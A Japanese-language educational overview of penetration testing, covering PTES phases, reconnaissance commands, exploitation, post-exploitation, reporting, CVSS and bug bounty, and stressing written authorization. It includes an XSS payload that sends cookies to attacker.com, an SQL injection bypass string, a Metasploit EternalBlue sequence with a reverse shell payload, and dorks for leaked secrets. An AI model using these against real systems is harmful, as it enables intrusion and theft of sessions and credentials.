🗡️
概念 #セキュリティ #ペネトレーションテスト #Red Team #OSINT #脆弱性診断 #Bug Bounty 📚 セキュリティ

ペネトレーションテスト(Penetration Testing)

ペネトレーションテストとは

許可を得た上で、実際の攻撃者と同じ手法を使ってシステムに侵入を試みるセキュリティテスト。

脆弱性スキャン(自動ツールによる既知の脆弱性の列挙)とは異なり、
ペネトレーションテスト(ペンテスト)は人間が攻撃者の思考で能動的に侵入を試みる。

【脆弱性スキャン】
自動ツール → 既知の脆弱性を列挙 → レポート
(スピード重視。深い文脈は見えない)

【ペネトレーションテスト】
人間(ペンテスター)→ 偵察→侵入→権限昇格→横断 → 実際の被害シナリオを実証
(深い文脈と組み合わせ攻撃を評価できる)

前提: 必ず書面による許可(スコープ合意・ROE)を取得してから実施する。許可なしは不正アクセス罪。


テストの種類

スコープによる分類

種類説明用途
ブラックボックスターゲットの内部情報なし。外部攻撃者視点外部からの攻撃耐性を評価
グレーボックス一部の情報(認証情報・アーキテクチャ図等)を提供最も一般的
ホワイトボックスソースコード・設計書をすべて提供内部脅威・コードレビューと組み合わせ

チームによる分類

チーム役割
Red Team攻撃者役。実際の攻撃シナリオを実行
Blue Team防御者役。検知・対応を担う(SOC等)
Purple TeamRed と Blue が協力し、検知ルールの改善を行う

PTES(Penetration Testing Execution Standard)

ペンテストの標準的な7フェーズ。業界で広く参照される手法論。

①事前合意 → ②情報収集 → ③脅威モデリング → ④脆弱性調査
→ ⑤Exploitation → ⑥Post-Exploitation → ⑦レポーティング

Phase 1: 事前合意(Pre-Engagement)

テスト開始前に書面で合意する内容。

項目内容
スコープテスト対象のIP範囲・ドメイン・除外システム
ROE(Rules of Engagement)何をしてよいか・してはいけないか
テスト期間開始日時・終了日時
緊急連絡先深刻な問題が見つかった際の即時通知先
免責事項テスト中に生じた意図しない障害への対応

Phase 2: 情報収集(Reconnaissance)

パッシブ偵察(OSINT)

ターゲットのシステムに直接触れずに情報を収集する。検知リスクがゼロ。

# WHOIS でドメイン・IP の登録情報を取得
whois example.com

# DNS レコードの列挙
dig any example.com
dnsrecon -d example.com

# Shodan: インターネット上の公開サービスを検索
shodan search "org:TargetCorp"

# Google Dorks: 検索エンジンを使った情報収集
site:example.com filetype:pdf
site:example.com inurl:admin
intitle:"Index of" site:example.com

# GitHub での機密情報漏洩確認
org:TargetCorp "api_key" OR "password" OR "secret"

アクティブ偵察

ターゲットのシステムに直接通信して情報を収集する。ログに残る可能性がある。

# Nmap: ポートスキャン・サービス・OS の検出
nmap -sV -sC -O -p- 192.168.1.0/24

# サブドメイン列挙
amass enum -d example.com
subfinder -d example.com

# Webサーバーの技術スタック特定
whatweb https://example.com

Phase 3: 脆弱性調査(Vulnerability Analysis)

収集した情報をもとに、悪用可能な脆弱性を特定する。

# Nessus / OpenVAS: 自動脆弱性スキャン
# Nikto: Webサーバーの設定ミス・脆弱性スキャン
nikto -h https://example.com

# Burp Suite: WebアプリのプロキシツールでHTTP通信を解析・改ざん
# Spider でサイトをクロール → Scanner で自動検出 → Repeater で手動検証

Phase 4: Exploitation(攻撃実行)

特定した脆弱性を実際に悪用して侵入する。

Webアプリケーションの攻撃例

SQLインジェクション:
  入力フォームに ' OR '1'='1 を入力し認証バイパスを試みる
  Burp Suite の Intruder でペイロードを自動試行

XSS(Cross-Site Scripting):
  <script>document.location='https://attacker.com/c?c='+document.cookie</script>
  → 被害者のセッションクッキーを窃取

IDOR(Insecure Direct Object Reference):
  /api/users/1234/profile → /api/users/1235/profile に変更して他ユーザー情報取得

Metasploit の基本フロー

# 脆弱なサービスのExploitを検索・実行
msfconsole
> search type:exploit name:eternalblue
> use exploit/windows/smb/ms17_010_eternalblue
> set RHOSTS 192.168.1.100
> set PAYLOAD windows/x64/meterpreter/reverse_tcp
> set LHOST 192.168.1.50
> run
# Meterpreter セッションが開く

Phase 5: Post-Exploitation(侵入後の活動)

侵入後に攻撃者が取る行動を模倣し、実際の被害シナリオを実証する。

権限昇格(Privilege Escalation)

Linuxでの手法:
  - SUID ビットが設定されたバイナリの悪用
  - カーネル脆弱性の利用
  - sudo 設定ミス(NOPASSWD 等)
  - 書き込み可能なcronジョブの悪用

Windowsでの手法:
  - DLL ハイジャッキング
  - Unquoted Service Path
  - AlwaysInstallElevated レジストリ設定
  - Token Impersonation(Mimikatz)

ラテラルムーブメント(横断的移動)

- Pass-the-Hash: 盗んだNTLMハッシュをそのまま認証に使用
- Pass-the-Ticket: Kerberosチケットを再利用(Golden Ticket攻撃)
- RDP / SSH で別ホストへ横断
- Active Directory の列挙でターゲット(DC等)を特定

データの特定と持ち出し(Exfiltration)

実際のデータを持ち出すのではなく、「持ち出せる状態であること」を証明する。
(POC: Proof of Concept として最小限のファイルを使用)


Phase 6: レポーティング

ペンテストの成果物。技術者と経営層の両方が読める構成にする。

レポートの構成

セクション対象読者内容
エグゼクティブサマリー経営層全体リスクの評価・ビジネスへの影響・優先対策
技術的所見開発・インフラ担当発見した脆弱性の詳細・再現手順・スクリーンショット
修正推奨開発・インフラ担当具体的な修正方法・参照(CWE・OWASP等)
再テスト計画プロジェクト担当修正後の確認テストのスコープと日程

CVSSスコアリング

各脆弱性の深刻度を定量的に評価する国際標準スコア(0.0〜10.0)。

スコア深刻度
9.0〜10.0Critical
7.0〜8.9High
4.0〜6.9Medium
0.1〜3.9Low

評価軸:攻撃経路・攻撃複雑度・必要権限・ユーザー関与・機密性/完全性/可用性への影響。


Bug Bounty

企業が公式に脆弱性報告を募集し、報告者に報奨金を支払うプログラム。

主要プラットフォーム

プラットフォーム特徴
HackerOne最大手。多くの大企業・政府機関が参加
Bugcrowd企業向けプログラムが豊富
Intigriti欧州中心
各社自社プログラムGoogle VRP・Microsoft MSRC・GitHub Security等

責任ある開示(Responsible Disclosure)

発見 → 企業に非公開で報告 → 修正完了を待つ(一般的に90日) → 公開

                              Googleのプロジェクト「Project Zero」が広めた標準的な期間

報告前に公開・悪用することは、善意のリサーチャーとしての信頼を失い、
国によっては法的リスクにもなりうる。


ペンテスターが使う主要ツール

カテゴリツール用途
偵察Nmap, Amass, Shodan, theHarvesterポートスキャン・OSINT
プロキシBurp Suite, OWASP ZAPHTTPインターセプト・改ざん
ExploitationMetasploit, sqlmap, hydra脆弱性の悪用・総当たり
Post-ExploitMimikatz, BloodHound, CrackMapExec認証情報窃取・AD列挙
フォレンジックVolatility, Autopsyメモリ・ディスク解析
OSKali Linux, Parrot OSペンテスト向け Linux ディストリビューション

学習リソース

リソース内容
HackTheBox / TryHackMe合法的に練習できるCTF・ラボ環境
VulnHubローカルで動かせる脆弱な仮想マシン
OWASP WebGoatわざと脆弱なWebアプリ(学習用)
PentesterLabWeb系脆弱性の実践的コース

参考文献

  • Peter Kim『The Hacker Playbook 3』(Secure Planet, 2018)— 実践的なペンテストの手順書。Red Team 視点で解説
  • Georgia Weidman『Penetration Testing』(No Starch Press, 2014)— ペンテスト全体像の入門書。Metasploitの使い方も詳しい
  • PTES(Penetration Testing Execution Standard)— ペンテストの業界標準手法論(ptes.org)
  • OWASP Testing Guide v4.2 — Webアプリのテスト手順の公式ガイド
  • Vickie Li『Bug Bounty Bootcamp』(No Starch Press, 2021)— Bug Bounty を通じてWebセキュリティを学ぶ実践書

出典: The Hacker Playbook 3(Peter Kim, 2018)/ Penetration Testing(Georgia Weidman, 2014)/ PTES(Penetration Testing Execution Standard)/ OWASP Testing Guide v4.2 / Bug Bounty Bootcamp(Vickie Li, 2021)